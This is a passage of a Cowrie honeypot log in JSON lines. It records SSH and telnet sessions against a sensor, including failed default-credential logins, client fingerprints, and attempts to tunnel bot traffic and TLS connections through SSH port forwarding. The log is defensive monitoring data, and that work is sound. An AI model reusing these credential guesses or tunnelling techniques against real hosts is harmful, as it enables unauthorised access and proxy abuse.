deflate\\r\\n\\r\\n_=Y19zTmw4cHN9MmhhU2tZQA%3D%3DBUBDlUP7RHmNBoYJF48T893O5zxwEaOjDTLlqf%2FoQgQBpqB4xfd4IQy0Nw3M6b4Y5ZP4w60igNkulQZWTV4GStecmmUXacC1LpTa0MU1lUCYr8ehx%2BQ%2BnZ5bCZwKvawl1IfZcku4ZLAYl3%2BjRZ%2FSCSiFJbi3iMnsJ744Z4T2v0UUjD9T4n%2FFZVgH%2FK9jUNbHzsdyXmpkXh2pZQBQEtl7TAt6YgoOJRqxO5swCXNhOSBjinkamzA3wqeBjk75UpMC3yBOpMpwB5aAeH0K1qWV97NxQSOGLrkkK97AYFxEWSuHMEUvlAX3V5hQGlfVqkRKXXJFXi7Yymoh2WHIO2P2zmwvifOrMlwL9Fwx3w52fce3k%2Bgsy2MSd%2FAcAmkkkLCp%2Fi%2FVMT%2BSKu34A3O6DfZdufWsRIes1toTgvttXlcTeCbMoVY%2FhFWw9btZiSPRxLInStMqQRD8z2w7nblFnaq%2BCJRhkaPrS90GDx5zgoFozKprLtm8zjC8xut9sb5EQAg%2BFbxl8NU2X3RKFfGBrdu3GJt2GuKeBwyb6l4V8J19jBnegmvI6rFSMSH%2BCnMCCY0A7kQ6PH1I%2BUgoSsEkwjQqq%2F1D4e3N%2B72JPKYbcAVWftSiG2TPbn27CXYTrU6mA61%2FWiE7Erkp8i4f4NYBdxZpWPY8uO7yYq304azSmOyaxSCH2UChiu7kSCdb%2BLVqpJdW6N1Cgzmty1znqSYOXqjy48Ea4Wy0GVAohofoxXtzQGVo5y1V8AxtdbqinUK0P6KWNeHOrzDkV5I3elNKvOYObv99gb6%2F%2B1V%2BhPNwnJQp7MA0J8mqZuPbZCbsfxpCiJsJZINrVBPqZujdSj1ug6CoMWZrXTef83c9my%2FjxaCc8AM23FM4w1tBu%2B0WUkEhs7xCUFH2rZ3YDZApAvyhE72QCWL66uhJLsG06rcUnvHClZNJ6SAIYvdd7LpivXaMi8roDl59iEKmIoxpSLm%2BYetaiyRQeRg0pqgwAGObD%2B9jJAibBuXWxKZS2stPFS5aQtKt2qCzqW8maZHmni9zVLx8hJQbncG5b%2B5xsrH9saG43LQ%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; SM-J737A Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Y19zTmw4cHN9MmhhU2tZQA%3D%3DBUBDlUP7RHmNBoYJF48T893O5zxwEaOjDTLlqf%2FoQgQBpqB4xfd4IQy0Nw3M6b4Y5ZP4w60igNkulQZWTV4GStecmmUXacC1LpTa0MU1lUCYr8ehx%2BQ%2BnZ5bCZwKvawl1IfZcku4ZLAYl3%2BjRZ%2FSCSiFJbi3iMnsJ744Z4T2v0UUjD9T4n%2FFZVgH%2FK9jUNbHzsdyXmpkXh2pZQBQEtl7TAt6YgoOJRqxO5swCXNhOSBjinkamzA3wqeBjk75UpMC3yBOpMpwB5aAeH0K1qWV97NxQSOGLrkkK97AYFxEWSuHMEUvlAX3V5hQGlfVqkRKXXJFXi7Yymoh2WHIO2P2zmwvifOrMlwL9Fwx3w52fce3k%2Bgsy2MSd%2FAcAmkkkLCp%2Fi%2FVMT%2BSKu34A3O6DfZdufWsRIes1toTgvttXlcTeCbMoVY%2FhFWw9btZiSPRxLInStMqQRD8z2w7nblFnaq%2BCJRhkaPrS90GDx5zgoFozKprLtm8zjC8xut9sb5EQAg%2BFbxl8NU2X3RKFfGBrdu3GJt2GuKeBwyb6l4V8J19jBnegmvI6rFSMSH%2BCnMCCY0A7kQ6PH1I%2BUgoSsEkwjQqq%2F1D4e3N%2B72JPKYbcAVWftSiG2TPbn27CXYTrU6mA61%2FWiE7Erkp8i4f4NYBdxZpWPY8uO7yYq304azSmOyaxSCH2UChiu7kSCdb%2BLVqpJdW6N1Cgzmty1znqSYOXqjy48Ea4Wy0GVAohofoxXtzQGVo5y1V8AxtdbqinUK0P6KWNeHOrzDkV5I3elNKvOYObv99gb6%2F%2B1V%2BhPNwnJQp7MA0J8mqZuPbZCbsfxpCiJsJZINrVBPqZujdSj1ug6CoMWZrXTef83c9my%2FjxaCc8AM23FM4w1tBu%2B0WUkEhs7xCUFH2rZ3YDZApAvyhE72QCWL66uhJLsG06rcUnvHClZNJ6SAIYvdd7LpivXaMi8roDl59iEKmIoxpSLm%2BYetaiyRQeRg0pqgwAGObD%2B9jJAibBuXWxKZS2stPFS5aQtKt2qCzqW8maZHmni9zVLx8hJQbncG5b%2B5xsrH9saG43LQ%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.301437Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.309496Z","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":47712,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7ad6ddbb58","protocol":"ssh","message":"New connection: 103.60.242.169:47712 (159.203.135.109:22) [session: 0f7ad6ddbb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.681837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.686737Z","src_ip":"103.60.242.169","session":"0f7ad6ddbb58","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.754163Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D!=\\x8f\\x9f\\xa6\\t\\xd7*Z\\x04l\\x03-q\\xff\\xfe\\x95)\\xcc\\xd2\\x8c\\xb7\\x83m\\xf3\\x13\\xa8\\xb6p\\xf6\\x04 \\xfb\\xca\\x94\\t\\xe7\\xee]\\xeff\\xcc,\\xf6-\\x8e\\x96\\xcf*-\\xc8[\\x18\\tq\\xaa\\xdb\\xca^\\xd0-R\\xe4\\xc1\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 #\\xa9\\xc3#g\\x89\\xefl\\x96ja\\xf8\\xc1\\x05\\x8d\\xaa\\x92\\x82{g\\xb8\\xac\"\\x02\\xa73\\xce\\xbdv\\x9d\\xd8m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D!=\\x8f\\x9f\\xa6\\t\\xd7*Z\\x04l\\x03-q\\xff\\xfe\\x95)\\xcc\\xd2\\x8c\\xb7\\x83m\\xf3\\x13\\xa8\\xb6p\\xf6\\x04 \\xfb\\xca\\x94\\t\\xe7\\xee]\\xeff\\xcc,\\xf6-\\x8e\\x96\\xcf*-\\xc8[\\x18\\tq\\xaa\\xdb\\xca^\\xd0-R\\xe4\\xc1\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 #\\xa9\\xc3#g\\x89\\xefl\\x96ja\\xf8\\xc1\\x05\\x8d\\xaa\\x92\\x82{g\\xb8\\xac\"\\x02\\xa73\\xce\\xbdv\\x9d\\xd8m\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.757648Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.930646Z","src_ip":"103.60.242.169","session":"0f7ad6ddbb58","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:09.987322Z","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:10.217498Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\xdf.Y\\x17\\x18\\xc0\\x83l{\\xf1\\x11T\\xa7Y\\x88\\xbb\\xc6R\\x9f\\xb6g*\\xa9\\xb8\\xd5\\xc9\\x01?\\xedy\\xdd \\x91\\x00\\xd2\\xc2\\xfa\\x13\\xab\\x06\\xd7\\x8b:<\\xdd\\x0e\\x10v\\xc8\\xed\\xe6\\x19\\x06\\xfdG\\xbdm-\\xf4x\\x00\\x02T\\x83\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 6\\xb7\\x02N\\xb2>\\x9a\\xf9\\xfa\\x89|\\xd6\\x88s\\xc7\\xe9v\\xa6\\xa3a)\\xd6\\xbe\\x9b\\x82m-\\xe6fX\\x96a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\xdf.Y\\x17\\x18\\xc0\\x83l{\\xf1\\x11T\\xa7Y\\x88\\xbb\\xc6R\\x9f\\xb6g*\\xa9\\xb8\\xd5\\xc9\\x01?\\xedy\\xdd \\x91\\x00\\xd2\\xc2\\xfa\\x13\\xab\\x06\\xd7\\x8b:<\\xdd\\x0e\\x10v\\xc8\\xed\\xe6\\x19\\x06\\xfdG\\xbdm-\\xf4x\\x00\\x02T\\x83\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 6\\xb7\\x02N\\xb2>\\x9a\\xf9\\xfa\\x89|\\xd6\\x88s\\xc7\\xe9v\\xa6\\xa3a)\\xd6\\xbe\\x9b\\x82m-\\xe6fX\\x96a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:10.234003Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:10.646617Z","src_ip":"123.27.168.40","session":"9f2055428301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"12345","message":"login attempt [ts3server/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:10.948016Z","src_ip":"103.60.242.169","session":"0f7ad6ddbb58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:12.194436Z","src_ip":"103.60.242.169","session":"0f7ad6ddbb58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.15664887428284,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:14.755064Z","src_ip":"128.199.8.54","session":"c0fc04273bc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":33084,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc6dd46d25fb","protocol":"ssh","message":"New connection: 2.99.213.222:33084 (159.203.135.109:22) [session: dc6dd46d25fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:15.589538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:15.594073Z","src_ip":"2.99.213.222","session":"dc6dd46d25fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:15.701824Z","src_ip":"2.99.213.222","session":"dc6dd46d25fb","protocol":"ssh"}
